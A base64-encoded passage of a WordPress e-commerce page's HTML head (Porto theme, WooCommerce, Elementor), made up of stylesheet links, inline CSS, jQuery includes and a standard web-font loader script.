cy1zbWFsbC1mb250LXNpemUgew0KICAgICAgICAgICAgZm9udC1zaXplOiB2YXIoLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXNtYWxsKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1tZWRpdW0tZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS1tZWRpdW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxhcmdlLWZvbnQtc2l6ZSB7DQogICAgICAgICAgICBmb250LXNpemU6IHZhcigtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbGFyZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXgtbGFyZ2UtZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS14LWxhcmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLW5hdmlnYXRpb24gYTp3aGVyZSg6bm90KC53cC1lbGVtZW50LWJ1dHRvbikpIHsNCiAgICAgICAgICAgIGNvbG9yOiBpbmhlcml0Ow0KICAgICAgICB9DQoNCiAgICAgICAgOndoZXJlKC53cC1ibG9jay1jb2x1bW5zLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDJlbTsNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxLjVlbTsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjY7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NvbnRhY3QtZm9ybS03LWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2Nzcy9zdHlsZXMuY3NzP3Zlcj01LjcuMycgbWVkaWE9J2FsbCcvPg0KICAgIDxzdHlsZSBpZD0nd29vY29tbWVyY2UtaW5saW5lLWlubGluZS1jc3MnPg0KICAgICAgICAud29vY29tbWVyY2UgZm9ybSAuZm9ybS1yb3cgLnJlcXVpcmVkIHsNCiAgICAgICAgICAgIHZpc2liaWxpdHk6IHZpc2libGU7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J25leHRwYXktc3R5bGVzLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9uZXh0cGF5L2Fzc2V0cy9jc3MvcGF5LmNzcz92ZXI9djEuMi40Jw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdlbGVtZW50b3ItaWNvbnMtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvZWxlbWVudG9yL2Fzc2V0cy9saWIvZWljb25zL2Nzcy9lbGVtZW50b3ItaWNvbnMubWluLmNzcz92ZXI9NS4xNy4wJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nZWxlbWVudG9yLWZyb250ZW5kLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC91cGxvYWRzL2VsZW1lbnRvci9jc3MvY3VzdG9tLWZyb250ZW5kLWxpdGUubWluLmNzcz92ZXI9MTcwOTg3OTQ5OCcgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2VsZW1lbnRvci1wb3N0LTIxNTItY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvZWxlbWVudG9yL2Nzcy9wb3N0LTIxNTIuY3NzP3Zlcj0xNzA5ODc5NDk4JyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tY3NzLXZhcnMtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy90aGVtZV9jc3NfdmFycy5jc3M/dmVyPTYuNy4yJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdib290c3RyYXAtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9ib290c3RyYXAuY3NzP3Zlcj02LjcuMicNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tcGx1Z2lucy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvcGx1Z2lucy5jc3M/dmVyPTYuNy4yJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by10aGVtZS1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXNob3J0Y29kZXMtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9zaG9ydGNvZGVzLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXRoZW1lLXNob3AtY3NzJyBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lX3Nob3AuY3NzP3Zlcj02LjcuMicNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdGhlbWUtZWxlbWVudG9yLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lX2VsZW1lbnRvci5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tZHluYW1pYy1zdHlsZS1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvdXBsb2Fkcy9wb3J0b19zdHlsZXMvZHluYW1pY19zdHlsZS5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdHlwZS1idWlsZGVyLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3BvcnRvLWZ1bmN0aW9uYWxpdHkvYnVpbGRlcnMvYXNzZXRzL3R5cGUtYnVpbGRlci5jc3M/dmVyPTIuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tYWNjb3VudC1sb2dpbi1zdHlsZS1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2Nzcy90aGVtZS9zaG9wL2xvZ2luLXN0eWxlL2FjY291bnQtbG9naW4uY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2VsZW1lbnRvci1wb3N0LTE0My1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvdXBsb2Fkcy9lbGVtZW50b3IvY3NzL3Bvc3QtMTQzLmNzcz92ZXI9MTcwOTg4Nzk3NycgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXN0eWxlLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL3N0eWxlLmNzcz92ZXI9Ni43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8c3R5bGUgaWQ9J3BvcnRvLXN0eWxlLWlubGluZS1jc3MnPg0KICAgICAgICAuc2lkZS1oZWFkZXItbmFycm93LWJhci1sb2dvIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogMTExcHgNCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiA5OTJweCkgew0KICAgICAgICB9DQoNCiAgICAgICAgLnBhZ2UtdG9wIHVsLmJyZWFkY3J1bWIgPiBsaS5ob21lIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaw0KICAgICAgICB9DQoNCiAgICAgICAgLnBhZ2UtdG9wIHVsLmJyZWFkY3J1bWIgPiBsaS5ob21lIGEgew0KICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgICAgICAgICAgd2lkdGg6IDE0cHg7DQogICAgICAgICAgICB0ZXh0LWluZGVudDogLTk5OTlweA0KICAgICAgICB9DQoNCiAgICAgICAgLnBhZ2UtdG9wIHVsLmJyZWFkY3J1bWIgPiBsaS5ob21lIGE6YWZ0ZXIgew0KICAgICAgICAgICAgY29udGVudDogIlxlODgzIjsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAncG9ydG8nOw0KICAgICAgICAgICAgZmxvYXQ6IGxlZnQ7DQogICAgICAgICAgICB0ZXh0LWluZGVudDogMA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtaW4td2lkdGg6IDE1MDBweCkgew0KICAgICAgICAgICAgLmxlZnQtc2lkZWJhci5jb2wtbGctMywgLnJpZ2h0LXNpZGViYXIuY29sLWxnLTMgew0KICAgICAgICAgICAgICAgIHdpZHRoOiAyMCUNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLm1haW4tY29udGVudC5jb2wtbGctOSB7DQogICAgICAgICAgICAgICAgd2lkdGg6IDgwJQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAubWFpbi1jb250ZW50LmNvbC1sZy02IHsNCiAgICAgICAgICAgICAgICB3aWR0aDogNjAlDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAuY3VzdG9tLWZvbnQ0LCAuY3VzdG9tLWZvbnQ0IC5lbGVtZW50b3ItaGVhZGluZy10aXRsZSB7DQogICAgICAgICAgICBmb250LWZhbWlseTogJ1NlZ29lIFNjcmlwdCcsICdTYXZveWUgTEVUJw0KICAgICAgICB9DQoNCiAgICAgICAgLndvb2NvbW1lcmNlLmFyY2hpdmUgLmNvbHVtbjEgLm1haW4tY29udGVudCB7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogMA0KICAgICAgICB9DQoNCiAgICAgICAgLnBhZ2Utd3JhcHBlciB7DQogICAgICAgICAgICBtaW4taGVpZ2h0OiAxMDB2aA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtaW4td2lkdGg6IDE0NDBweCkgew0KICAgICAgICAgICAgLmNvbnRhaW5lci1mbHVpZCwgYm9keS53aWRlIC5jb250YWluZXI6bm90KC5pbm5lci1jb250YWluZXIpIHsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDQwcHg7DQogICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogNDBweA0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuY29udGFpbmVyLWZsdWlkIC5lbGVtZW50b3ItdG9wLXNlY3Rpb24gew0KICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAtNDBweDsNCiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IC00MHB4Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogNDBweDsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiA0MHB4DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5jb250YWluZXItZmx1aWQgLmVsZW1lbnRvci10b3Atc2VjdGlvbi5lbGVtZW50b3Itc2VjdGlvbi1mdWxsX3dpZHRoID4gLmVsZW1lbnRvci1jb2x1bW4tZ2FwLW5vIHsNCiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogMDsNCiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDA7DQogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCUNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLnB4LXNsLTAgew0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMCAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDAgIWltcG9ydGFudA0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgLnZpZXctc3dpdGNoZXIgbGkubWVudS1pdGVtID4gYSA+IFtjbGFzcyo9J2ZsYWctJ10gew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgI2hlYWRlciAucG9ydG8tdmlldy1zd2l0Y2hlciA+IGxpLm1lbnUtaXRlbSA+IGEgew0KICAgICAgICAgICAgZm9udC1zaXplOiAuNjI1cmVtOw0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMA0KICAgICAgICB9DQoNCiAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gLmFycm93OmJlZm9yZSB7DQogICAgICAgICAgICBvcGFjaXR5OiAuNA0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLXByb2R1Y3RzLWZpbHRlci1ib2R5IC5zaWRlYmFyIHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwDQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogOTkycHgpIHsNCiAgICAgICAgICAgICNoZWFkZXIgLnNlYXJjaGZvcm0gew0KICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJlbQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuaGVhZGVyLXdyYXBwZXIgI2hlYWRlciAuc2VhcmNoZm9ybSBidXR0b24gew0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDEycHgNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLmhlYWRlci13cmFwcGVyICNoZWFkZXIgLnNlYXJjaGZvcm0gaW5wdXQgew0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMTVweDsNCiAgICAgICAgICAgICAgICB3aWR0aDogYXV0bw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAjaGVhZGVyIC5oZWFkZXItY29udGFjdCB7DQogICAgICAgICAgICAgICAgZmxleDogMCAwIGF1dG87DQogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjEyNXJlbTsNCiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgICAgIG9yZGVyOiAwDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAjaGVhZGVyIC5zaGFyZS1saW5rcyBhIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAuNXJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogLjVyZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5oZWFkZXItc2lkZS1uYXYgLnNpZGViYXItbWVudSB7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwOw0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAtMjBweA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDE0MzlweCkgew0KICAgICAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gYSwgLnRvZ2dsZS1tZW51LXdyYXAgLnNpZGViYXItbWVudSA+IGxpLm1lbnUtaXRlbSA+IGEgew0KICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxN3B4DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAuc2VjdGlvbi10aXRsZSB7DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogLjVyZW07DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2U3ZTdlNzsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgLmJ0biB7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGluczsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDANCiAgICAgICAgfQ0KDQogICAgICAgIC5idG4tZmxhdCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXI6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudA0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLWliYW5uZXItbGF5ZXIgLmJ0bi1mbGF0LmJ0bi14bCB7DQogICAgICAgICAgICBmb250LXNpemU6IDEuMTI1ZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5vd2wtY2Fyb3VzZWwubmF2LXN0eWxlLTQgLm93bC1uYXYgW2NsYXNzKj0ib3dsLSJdIHsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDANCiAgICAgICAgfQ0KDQogICAgICAgIC5zaW5nbGUtcHJvZHVjdCAucHJvZHVjdC1sYXlvdXQtdHJhbnNwYXJlbnQgew0KICAgICAgICAgICAgbWFyZ2luLXRvcDogLTIwcHgNCiAgICAgICAgfQ0KDQogICAgICAgIHVsLnByb2R1Y3RzIGxpLnByb2R1Y3Qtb25pbWFnZTMgLnByb2R1Y3QtY29udGVudCB7DQogICAgICAgICAgICBvcGFjaXR5OiAxOw0KICAgICAgICAgICAgYm90dG9tOiAwDQogICAgICAgIH0NCg0KICAgICAgICAucGFnaW5hdGlvbi5sb2FkLW1vcmUgLm5leHQgew0KICAgICAgICAgICAgd2lkdGg6IGF1dG87DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDAwOw0KICAgICAgICAgICAgY29sb3I6ICNmZmY7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGluczsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE0cHggNDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLmNvdXBvbi1zYWxlLXRleHQgYiB7DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMWVtDQogICAgICAgIH0NCg0KICAgICAgICAuY291cG9uLXNhbGUtdGV4dCBiOmJlZm9yZSB7DQogICAgICAgICAgICBjb250ZW50OiAnJzsNCiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICAgICAgICAgIGxlZnQ6IC0uNWVtOw0KICAgICAgICAgICAgdG9wOiAtLjFlbTsNCiAgICAgICAgICAgIHJpZ2h0OiAtLjVlbTsNCiAgICAgICAgICAgIGJvdHRvbTogLS4xZW07DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjIyNTI5Ow0KICAgICAgICAgICAgei1pbmRleDogLTE7DQogICAgICAgICAgICB0cmFuc2Zvcm06IHJvdGF0ZSgtMS41ZGVnKSBza2V3KDEuNWRlZykNCiAgICAgICAgfQ0KDQogICAgICAgIC5zaW5nbGUtcHJvZHVjdCAucHJvZHVjdF90aXRsZSB7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGlucw0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLXJlbGF0ZWQtcHJvZHVjdHMgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogbm9uZTsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwDQogICAgICAgIH0NCg0KICAgICAgICAjY29udGVudC1ib3R0b20gKyAucG9ydG8tcmVsYXRlZC1wcm9kdWN0cyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjRmNGY0Ow0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDQwcHgNCiAgICAgICAgfQ0KDQogICAgICAgIC50eXBlLXByb2R1Y3QgPiAucG9ydG8tcmVsYXRlZC1wcm9kdWN0cyB7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogNDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLmZvb3Rlci10b3Agew0KICAgICAgICAgICAgcGFkZGluZzogMA0KICAgICAgICB9DQoNCiAgICAgICAgLmZvb3Rlci10b3AgLnBvcnRvLWJsb2NrIHsNCiAgICAgICAgICAgIGJvcmRlci13aWR0aDogMXB4IDA7DQogICAgICAgICAgICBib3JkZXItc3R5bGU6IHNvbGlkOw0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjZTdlN2U3DQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC53aWRnZXQtdGl0bGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxNXB4Ow0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMA0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuc2hhcmUtbGlua3MgYSB7DQogICAgICAgICAgICBib3gtc2hhZG93OiBub25lOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICAgICAgd2lkdGg6IDM2cHg7DQogICAgICAgICAgICBoZWlnaHQ6IDM2cHg7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxOHB4DQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gaSB7DQogICAgICAgICAgICBkaXNwbGF5OiBub25lDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gLmNvbnRhY3QtZGV0YWlscyBzdHJvbmcsICNmb290ZXIgLmNvbnRhY3QtaW5mbyAuY29udGFjdC1kZXRhaWxzIHNwYW4gew0KICAgICAgICAgICAgcGFkZGluZzogMA0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuY29udGFjdC1pbmZvIC5jb250YWN0LWRldGFpbHMgc3Ryb25nIHsNCiAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7DQogICAgICAgICAgICBsaW5lLWhlaWdodDogMQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuZm9vdGVyLW1haW4gPiAuY29udGFpbmVyIHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAyLjI1cmVtOw0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDANCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLmZvb3Rlci1tYWluID4gLmNvbnRhaW5lcjphZnRlciB7DQogICAgICAgICAgICBjb250ZW50OiAnJzsNCiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOw0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlN2U3ZTcNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLndpZGdldF93eXNpamFfY29udCAud3lzaWphLWlucHV0IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmNGY0ZjQ7DQogICAgICAgICAgICBmb250LXNpemU6IC44MTI1cmVtOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMnJlbSAwIDAgMnJlbTsNCiAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMS4yNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAud2lkZ2V0X3d5c2lqYV9jb250IC53eXNpamEtc3VibWl0IHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogLjgxMjVyZW07DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDAgMnJlbSAycmVtIDA7DQogICAgICAgICAgICBwYWRkaW5nOiAwIDEuNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuZm9vdGVyLWJvdHRvbSB7DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogM3JlbTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweA0KICAgICAgICB9DQoNCiAgICAgICAgLmhvbWUtc2xpZGVyIC5wb3J0by1pYmFubmVyIHsNCiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDEwMHZoDQogICAgICAgIH0NCg0KICAgICAgICAjdG9wY29udHJvbCB7DQogICAgICAgICAgICBkaXNwbGF5OiBub25lICFpbXBvcnRhbnQNCiAgICAgICAgfQ0KDQogICAgICAgIC5tYXgtd2lkdGgtMTAwIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogZml0LWNvbnRlbnQNCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA0ODBweCkgew0KICAgICAgICAgICAgLnBvcnRvLWliYW5uZXItbGF5ZXIgew0KICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogOXB4DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2dvb2dsZS1mb250cy0xLWNzcycNCiAgICAgICAgICBocmVmPSdodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9Um9ib3RvJTNBMTAwJTJDMTAwaXRhbGljJTJDMjAwJTJDMjAwaXRhbGljJTJDMzAwJTJDMzAwaXRhbGljJTJDNDAwJTJDNDAwaXRhbGljJTJDNTAwJTJDNTAwaXRhbGljJTJDNjAwJTJDNjAwaXRhbGljJTJDNzAwJTJDNzAwaXRhbGljJTJDODAwJTJDODAwaXRhbGljJTJDOTAwJTJDOTAwaXRhbGljJTdDUm9ib3RvK1NsYWIlM0ExMDAlMkMxMDBpdGFsaWMlMkMyMDAlMkMyMDBpdGFsaWMlMkMzMDAlMkMzMDBpdGFsaWMlMkM0MDAlMkM0MDBpdGFsaWMlMkM1MDAlMkM1MDBpdGFsaWMlMkM2MDAlMkM2MDBpdGFsaWMlMkM3MDAlMkM3MDBpdGFsaWMlMkM4MDAlMkM4MDBpdGFsaWMlMkM5MDAlMkM5MDBpdGFsaWMmIzAzODtkaXNwbGF5PXN3YXAmIzAzODt2ZXI9Ni4xLjUnDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5taW4uanM/dmVyPTMuNi4xJyBpZD0nanF1ZXJ5LWNvcmUtanMnPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS1taWdyYXRlLm1pbi5qcz92ZXI9My4zLjInIGlkPSdqcXVlcnktbWlncmF0ZS1qcyc+PC9zY3JpcHQ+DQoNCiAgICA8IS0tIEh1YlNwb3QgV29yZFByZXNzIFBsdWdpbiB2MTAuMC4xOTogZW1iZWQgSlMgZGlzYWJsZWQgYXMgYSBwb3J0YWxJZCBoYXMgbm90IHlldCBiZWVuIGNvbmZpZ3VyZWQgLS0+DQogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgICAgICBXZWJGb250Q29uZmlnID0gew0KICAgICAgICAgICAgZ29vZ2xlOiB7ZmFtaWxpZXM6IFsnUG9wcGluczo0MDAsNTAwLDYwMCw3MDAsODAwJywgJ1BsYXlmYWlyK0Rpc3BsYXk6NDAwLDcwMCddfQ0KICAgICAgICB9Ow0KICAgICAgICAoZnVuY3Rpb24gKGQpIHsNCiAgICAgICAgICAgIHZhciB3ZiA9IGQuY3JlYXRlRWxlbWVudCgnc2NyaXB0JyksIHMgPSBkLnNjcmlwdHNbZC5zY3JpcHRzLmxlbmd0aCAtIDFdOw0KICAgICAgICAgICAgd2Yuc3JjID0gJ3t7cHJlZml4fX0vd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy93ZWJmb250LmpzJzsNCiAgICAgICAgICAgIHdmLmFzeW5jID0gdHJ1ZTsNCiAgICAgICAgICAgIHMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUod2YsIHMpOw0KICAgICAgICB9KShkb2N1bWVudCk7PC9zY3JpcHQ